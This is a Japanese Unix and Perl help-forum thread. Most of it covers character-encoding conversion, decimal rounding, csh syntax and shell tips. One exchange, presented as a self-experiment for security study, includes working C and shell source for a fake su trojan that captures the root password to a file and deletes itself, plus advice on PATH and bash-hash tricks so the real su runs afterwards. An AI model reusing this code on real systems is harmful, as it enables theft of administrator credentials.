会社で UTF-8 と Big5(台湾)の変換ソフトが必要になったので、 ローカルに Perl 5.8 を入れてみました。 (ちょっとテストで失敗したんだけど、よくわかんないので 入れてしまつた ;;;) === big5 => UTF-8 === #! perl use encoding 'utf8', STDIN=>'big5'; while (<STDIN>) { print; } というのはうまくいったっぽいんですが、 === UTF-8 => big5 === #! perl use encoding 'big5', STDIN=>'utf8'; while (<STDIN>) { print; } というのは UTF-8 側に BOM(efbbbf)があると そこがそのまま出てきます。 use encoding 'big5', STDIN=>'utf8'; を使わないで Encode の変換関数を明示的に呼ぼうと思うんですが (で、BOM はもしあったら事前にカットする) うまくいきませんでした。つたない質問ですみませんが 何かわかりましたらご教示ください。 |
はじめまして。 c言語で書かれたプログラムを使って, .bash_profileのPATHを変更したいのですが, なかなかうまくいきません.どなたか教えていただけないでしょうか. ソースは以下のとうりです. #include<stdio.h> #include<stdlib.h> main(int argc, char *argv[]) { char buf[100]; sprintf(buf,"export PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin"); system(buf); exit(1); } コンパイルは通って,実行時にエラーは出ませんでした. bufに文字列はしっかり送られていました. export PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin とターミナル上で 打つと,しっかりPATHは変更されました. よろしくお願いします. |
例えば/aaa/bbb/cccというPATHがあったとして、aaaの部分だけ抜き取る簡単な方法はありませんでしょうか? /HP-UX |
はじめまして。こんばんは。UNIXについて質問があります。 与えられた引数を、そのままエコーバックするシェルスクリプトを作成しいのですが、どうしたらいいかわかりません。 アドバイスを頂けたら幸いです。よろしくお願いします。 |
>>2926 ふくし すいませんが、わかりません。 # 僕の知識は perl-5.00503 で止まっているので…。 >>2927 kiki system は内部で fork して、子プロセスが sh を実行します。 > sprintf(buf,"export PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin"); > system(buf); によって、子プロセスが実行する sh の環境変数は変更されますが、sh は すぐに終了してしまうので親プロセス (正確には親の親プロセス)に環境変数は 渡りません。 ではどうすればよいか、という話になりますが、 > .bash_profileのPATHを変更したいのですが, なぜそれをやりたいのか、ここで本当にやりたいのは何かを考えてみると 対策も見えてくるかもしれません。 >>2928 G > 例えば/aaa/bbb/cccというPATHがあったとして、aaaの部分だけ抜き取る > 簡単な方法はありませんでしょうか? こんな感じでしょうか。 % echo /aaa/bbb/ccc | sed 's|\(/[^/]*\).*|\1|' /aaa >>2929 NAGISA > 与えられた引数を、そのままエコーバックするシェルスクリプト そういう場合は「エコーバック」とは言わないような気がしますが、 #!/bin/sh echo $@ とか、 #!/bin/sh for i in $@; do echo $i done とか。 |
>>2925 なお@HP-UX11 > あるプロセスのメモリ使用量を調べたいのですが、可能でしょうか? ps コマンドなぞどうでしょうね。 |
>>2931 68userさん お返事ありがとうございます.kikiです. > .bash_profileのPATHを変更したいのですが, セキュリティに関する勉強でsuコマンドになり済ますトロイ について勉強していまして,実際に自分のPCで実験しています. suコマンドを使うユーザのアカウントを入手してあるという場合 を想定して,自分の一般ユーザ権限から自分の管理者権限のパス ワードを盗むという実験です.手順は 1.あるディレクトリにトロイをおいて 2.PATH変更,トロイ置場を先に検索するようにする. 3.コマンドsuでsuトロイ起動.盗んだパスワードをファイルに 書き込んで,トロイは自分を削除する. 4.suコマンドをもう一度実行,本物のsuコマンドが起動 です.3.の手順までは問題なく進みましたが,4.を実行すると bash: /suトロイ置場/suトロイ : そのようなファイルやディレクトリはない といわれてしまいました. suトロイは消えていたので,本物のsuを探しに行ってくれるはずなのですが, どうやら本物のsuを探しにいってくれないようなのです. もちろんPATHは本物のsuにも通っています. そこで,suトロイの中でPATHを変更しようと思ったのです. |
>>2930 68user いつもありがとうございます。 ただ感謝と尊敬の念でいっぱいです。 また、宜しくお願いします。 |
>2930 さん、ありがとうございます。 5.6 にせよ、5.8 にせよ、まだ使いこなせてませんが、 結構面白いっぽいですよ。 (インストールで失敗してるぼくの言うことじゃないが ;;; |
>>2932 kiki シェルを置き換えたのか、~/.bash_profile を書き換えて 自作 su を起動するようにしたのかよくわかりませんが、 > 2.PATH変更,トロイ置場を先に検索するようにする. ができているなら、後は /usr/bin/su を起動すればいいだけ だと思います。そこで PATH が出てくる理由がよくわかりません。 >>2934 ふくし > 5.6 にせよ、5.8 にせよ、まだ使いこなせてませんが、 > 結構面白いっぽいですよ。 うっかりプログラミング Perl 第3版 (perl-5.6 用) なぞ買って しまいましたが、ぜひ利用したいのは our ですね。次点はちょっと 安全になった open。 それ以外はまーいいやって感じです。 ときに our って C でいうところの int get_num(){ static int num=1; return num++; } main(int argc, char *argv[]) { printf("num=%d\n", get_num()); printf("num=%d\n", get_num()); printf("num=%d\n", get_num()); printf("num=%d\n", get_num()); printf("num=%d\n", get_num()); } のような static だと思い込んでいたんですが、今 本を読み直してみると なんか違うような気も。 あと、キー固定のハッシュ (キーをタイプミスするとエラー扱い)、 順番を保持するハッシュ (セットした順に keys が返ってくる) って 導入されてないんでしたっけ。どこかで聞いた覚えがあるんですが、 見つけられない。 # キー固定のハッシュは Class::Struct を使えばいいのかな。 |
>>2935 68user > あと、キー固定のハッシュ (キーをタイプミスするとエラー扱い)、 > 順番を保持するハッシュ (セットした順に keys が返ってくる) って > 導入されてないんでしたっけ。どこかで聞いた覚えがあるんですが、 > 見つけられない。 みびょーに違う話のような気もしますが、perl-5.005_03 でも $john=[{age=>1, eyes=>2, weight=>3}, 47, "brown", 186]; print "$john->{eyes}\n"; print "$john->[2]\n"; てな書き方ができるんですねぇ。これは知らなかった。 |
すいません、今度は Perl 5.005_03 の話です ;;; 経理システムで、 ・単価はドル建てだが、セント未満の端数がありうる (1個につき 0.001 ドルとか) ・個数は「個」だが、1個未満の端数がありうる (0.1 個とか) という条件で、単価x個数=売上を、 小数点以下第3位で切り捨て(小数点以下第2位まで)で求めよ、 という問題で 「100倍して int して100で割る」ということをしていました。 #! perl $tanka = 10000.88; # ドル $kosuu = 1; # 個 $uriage100 = $tanka * $kosuu * 100; # 売上の 100 倍 print "uriage x 100 = $uriage100\n"; $uriage = int($uriage100)/100; print "uriage = $uriage\n"; しかしこうすると、int(1000088) は 10000088 になるので、 uriage x 100 = 1000088 uriage = 10000.87 となります。もっとも手軽な回避方法はなんでしょうか。 もしお分かりでしたらご教示ください。 |
cshrcファイルの内容について皆さんにお聞きしたいです。 source .cshrcコマンドを出すときにUnmatchedといわれていますけど、 どこに問題があるかは良く分かりません。 cshrcの内容は以下のようになります************* # .cshrc # User specific aliases and functions # alias rm 'rm -i' alias ls 'ls --color' alias cp 'cp -i' alias mv 'mv -i' #setenv PATH "/usr/sbin:/sbin:$PATH" setenv NCARG_ROOT "/usr/local/ncarg" setenv PATH "/usr/sbin:/bin:$NCARG_ROOT/bin :/home/hongbin/fdgrib1.0/src/pre/fdgrib:/home/hongbin/rams4.3 :/home/hongbin/rams4.3/chq1/plvrams:$PATH" #setenv LD_LIBRARY_PAYH "/usr/FFC/lib" #setenv MANPATH "/usr/FFC/man:$NCARG_ROOT/man" setenv PGI "/usr/pgi" set path = ( $PGI/linux86/bin $path ) if($?MANPATH ==1) then setenv MANPATH $PGI/man:$MANPATH else setenv MANPATH $PHI/man endif #setenv MANPATH "$MANPATH":$PGI/man setenv LM_LICENSE_FILE "$PGI/license.dat" setenv MANPATH "$PGI/man:$NCARG_ROOT/man" set prompt='[%n@%m %c]#' ***************** どこが間違っているでしょうか。 よろしくお願いします。 |
>>2937 ふくし sprintfは? |
>>2938 初心者 この書き方は出来るのかな??複数行にわたるクオート setenv PATH "/usr/sbin:/bin:$NCARG_ROOT/bin :/home/hongbin/fdgrib1.0/src/pre/fdgrib:/home/hongbin/rams4.3 :/home/hongbin/rams4.3/chq1/plvrams:$PATH" |
>>2937 ふくし 勘定系ってやっぱり BCD だったりするんだろうかと思いつつ、 こういうときの常套手段を知らないので、しばし傍観。 >>2938 初心者 csh -fv .cshrc しましょう。あるいは、1行ずつ手でタイプ (あるいはマウスでコピペ) しましょう。どこに問題があるのか わかります。 |
>>2940 名無し さん、ありがとうございます。 sprintf は四捨五入なんですね。 ということはあらかじめ 0.005 を引いておけばよい? −−−−−−−−−−プログラム−−−−−−−−−−−−−−>8 #! perl while (<DATA>) { chomp; $tanka = $_; # ドル print "tanka = $tanka "; $tanka -= 0.005; # 切り捨てたいから $kosuu = 1; # 個 $uriage100 = $tanka * $kosuu * 100; # 売上の 100 倍 $uriage = $uriage100 / 100; $uriage = sprintf "%.2f", $uriage; print "uriage = $uriage\n"; } −−−−−−−−−−プログラム終わり−−−−−−−−−−−>8 実行結果。 > keisan tanka = 10000.88 uriage = 10000.88 tanka = 10000.881 uriage = 10000.88 tanka = 10000.882 uriage = 10000.88 tanka = 10000.883 uriage = 10000.88 tanka = 10000.884 uriage = 10000.88 tanka = 10000.885 uriage = 10000.88 tanka = 10000.886 uriage = 10000.88 tanka = 10000.887 uriage = 10000.88 tanka = 10000.888 uriage = 10000.88 tanka = 10000.889 uriage = 10000.88 なんかできてるっぽい、、? __DATA__ 10000.88 10000.881 10000.882 10000.883 10000.884 10000.885 10000.886 10000.887 10000.888 10000.889 |
>>2942 ふくし これなんかどうでしょうね。 http://www.harukaze.net/~mishima/perl/faq/newbiefaqpgm.html#5 > $uriage = $uriage100 / 100; 最後に 100 で割るのがなんかおそろしいなぁ。 値によっては循環小数になったりしないのかな。循環小数になっても %.2f してるから OK? |
すいません、お騒がせしております ;;; 100 で掛けたり、割ったりしているのは、 int を使いたかったからで、 sprintf を使っている以上、必要ないですね。 (切り捨ての場合) while (<DATA>) { chomp; $tanka = $_; # ドル print "tanka = $tanka "; $tanka -= 0.005; # 切り捨てたいから $kosuu = 1; # 個 $uriage = sprintf "%.2f", $tanka * $kosuu; print "uriage = $uriage\n"; } 四捨五入の場合は 0.005 を引くのをやめるとか。 |
だめでした ;;; sprintf "%.2f", $a; に、$a に 10000.005 を渡すと、10000.00 になります。 (環境に依存しまくるかな。FreeBSD 2.2.8_Release、Perl 5.005_03) しょうがないので . で split して、、いろいろしようと思います ;;; ちなみに 68User さん、BCD というのはモジュールありますか? CPAN で検索したら EBCDIC_convert なんとかというのしか 見つかりませんでした ;;; |
一人で駄投稿を繰り返して大変申し訳ありません。 けっきょく 100 倍して 0.5 を足して 100 で割る形式に戻し、 変数をすべて Math::BigFloat にしました。 なんとなくできているような気がしますが、 これぐらいの時間帯になってくると 「いったい何ができてるってことなのか」わからなくなってくるので ;;; 明日また考えます。X68000 さん、名無しさん、ありがとうございました。 何かありましたらよろしくお願いします。 |
家に帰って思ったけど dc コマンドを `` で囲んでもよかったかも ;;; |
>>2947 ふくし もう解決してらっしゃる様ですが、最初のソースの $uriage100 = $tanka * $kosuu * 100; # 売上の 100 倍 を $uriage100 = $tanka * $kosuu * 100 + 0.05; # 売上の 100 倍 みたいにして、端数の発生しない桁(この例なら0.01セントの桁)で 適当な数字を足してやると良いんじゃないでしょうか。 端数の発生しない桁が決められない場合はダメですが・・・。 #ぱっとみて思いついただけなんで全然的外れかもしれません |
はじめまして。FreeBSD4.6.2-RELEASEとXFree86 4.2をインストールして、XDMからログインしようとしているのですが、rootではログインできるのですが、一般ユーザだとログインできたと思ってもすぐにもとのログイン画面に戻ってしまいます。.xsessionは作っていないので記述ミスはないと思うのですが、なぜ一般ユーザだとログインできないのか分かりません。どなたか対処法を知っている方がいましたら教えていただきたいのですが。 よろしくお願いします。 |
解決しました。 |
>>2945 ふくし > ちなみに 68User さん、BCD というのはモジュールありますか? binary decimal で検索したら、これがひっかかりました。 http://search.cpan.org/author/JPEACOCK/Math-FixedPrecision-0.21/FixedPrecision.pm |
>68userさん,お返事が送れて申し訳ありません.kikiです >> 2.PATH変更,トロイ置場を先に検索するようにする. >> ができているなら、後は /usr/bin/su を起動すればいいだけ >> だと思います。そこで PATH が出てくる理由がよくわかりません。 たしかにcshなどのシェルはsuトロイが動いた後にsuコマンド を打ち込むと,本物のsuが問題なく立ち上がるのですが, bashの場合,suトロイが動いた後にsuコマンドを打ち込むと, bash:/suトロイ置場/suトロイ:そのようなファイルやディレクトリはない といわれてしまいました. suトロイは消えていたので,本物のsuを探しに行ってくれるはずな のですが,どうやら本物のsuを探しにいってくれないようなのです. もちろんPATHは本物のsuにも通っています.そこで, suトロイの中でPATHを変更しようと思ったのです. こちらも理由を考えていたのですがわかりません. バージョンは bash-2.04-1v14です. 何か,こころあたりがございましたら, 御教授願います.よろしくお願いします. |
>>2952 kiki 具体的に何をやっているのかが全く見えないです。遠回しな 書き方をしないでスクリプトを提示するなりしてください。 なお、FreeBSD 4.7-RELEASE+bash-2.05.0(1)-release では 成功しました (意図通りの挙動かどうかはわかりませんが)。 bash-2.05$ PATH=.:$PATH bash-2.05$ cat su #!/bin/sh echo -n "(Trojan su)Password: " stty -echo read a stty echo echo "" echo "Sorry (Your password [$a] is captured!)" mv su su.bak bash-2.05$ type su su is hashed (./su) bash-2.05$ su (Trojan su)Password: Sorry (Your password [hoge] is captured!) bash-2.05$ which su /usr/bin/su bash-2.05$ su Password: Sorry |
>>68user様 お返事ありがとうございます.kikiです. 申し訳ありません.トロイのソースを書き込ませていただきます. cで書かれたトロイを使っています. トロイの置き場所は /home/koko/.oite です. #include <stdio.h> #include <stdlib.h> #define SU_PASS "/tmp/.rewt" main (int argc, char *argv[]) { char *key; char buf[40]; FILE *fd; key = (char *)getpass ("Password:"); fd = fopen(SU_PASS,"w"); fprintf(fd, "pass: %s\n", key); fclose(fd); printf ("su: incorrect password\n"); sprintf(buf, "rm /home/koko/.oite/%s", argv[0]); system(buf); exit (1); } よろしくお願いします. こちらでも引続き原因を調べてみます. |
>>2954 kiki つまりやってることは >>2953 68user のスクリプトと同じなわけで、こちらで実行すると 2回目の su で /usr/bin/su を実行してくれました。 ということは bash が原因なわけで、ハッシュテーブルを再構築 しない設定になっているのでは、などを疑うべきなんでしょうけど、 bash は使ってないのでよくわかりません (勝手にハッシュテーブル 再構築してくれるんじゃないのかな?)。そこらへん何か設定がある んでしたっけ。 あとは bash の最新版を入れてみるとか。 |
>>2954 kiki bash-2.03.0(1)-release と bash-2.05a.0(1)-release でやって みましたが、どうやら PATH=.:$PATH だと OK (/usr/bin/su が実行される) ですが PATH=/foo/bar:$PATH と絶対パスで設定すると /foo/bar/su が hash に残っているようですね。 マニュアルを読む限りでは bash の仕様のような気がしますし、相対 パスのコマンドが hashing されていた場合は (カレントディレクトリが 移動しているかもしれないので) 再度 PATH を検索する、というのは 納得のいく挙動です。 # でも、もしかしたら bash のバグかもしれません。 解決策としては % shopt -s checkhash があげられるでしょうけど、これだと操作者の協力が必要なので、トロイの su を作るという目的を第一に考えるのであれば、 1. PATH=../../../../../../../../../../../../home/foo/bar:$PATH とする。 カレントディレクトリの階層があまりに深くなければ、これでいける。 2. トロイ版 su の中で /usr/bin/su を exec する といったところでしょうが、普通は 2 のような気がします (作ったことないのでわからんけど)。 |
みなさん、計算の問題でフォローアップありがとうございます。 とりあえず Math::BigFloat で快適です。 3471943.48 および 3471943.488 という数を 0 と比較すると おかしいという現象があって一瞬ひやっとしましたけど、 5.005003 ではバグってるけど 5.6.0 では直ってるようでした。 ■ソース #! perl use Math::BigFloat; while (<DATA>) { chomp; $num = Math::BigFloat->new($_); if ($num >= 0) { print "$num is larger-equal than 0\n"; } else { print "$num is not larger-equal than 0\n"; } $cmp = $num->fcmp("0"); print "compare $num vs 0: $cmp\n"; } __DATA__ 3471943.488 3471943.48 3 ■5.005003 での実行結果 3471943.488 is not larger-equal than 0 compare 3471943.488 vs 0: -1 3471943.48 is larger-equal than 0 compare 3471943.48 vs 0: -1 3. is larger-equal than 0 compare 3. vs 0: 1 ■5.6.0 での実行結果 3471943.488 is larger-equal than 0 compare 3471943.488 vs 0: 1 3471943.48 is larger-equal than 0 compare 3471943.48 vs 0: 1 3. is larger-equal than 0 compare 3. vs 0: 1 |
>>2956 68user様 またお返事が送れて申し訳ありません.kikiです. お返事ありがとうございます.早速ためしてみます. この質問を通じて,いろいろ知らないこともわかったので その点でもとても勉強になりました. ありがとうございました. |
初めてになりますが、質問がありますので、お力添えをお願いします。 プログラムの実行時間を計るために、timeコマンドがありますが、このときに出力される結果を、指定したファイルに書き込む方法はないでしょうか? リダイレクトを使って、 time 実行するコマンド > ファイル名 としても、ファイルに結果が出力されませんでした。プログラムの実行時間を書き込むための良いアドバイスをお願いします。 |
>>2959 KENT1 お使いの OS とシェルを必ず書いてください…と言うのも疲れたので、 てきとーに試してみてください。 /usr/bin/time ls >& file /usr/bin/time ls >file 2>&1 env TERM= csh -c "time ls" > file env TERM= bash -c "time ls" > file |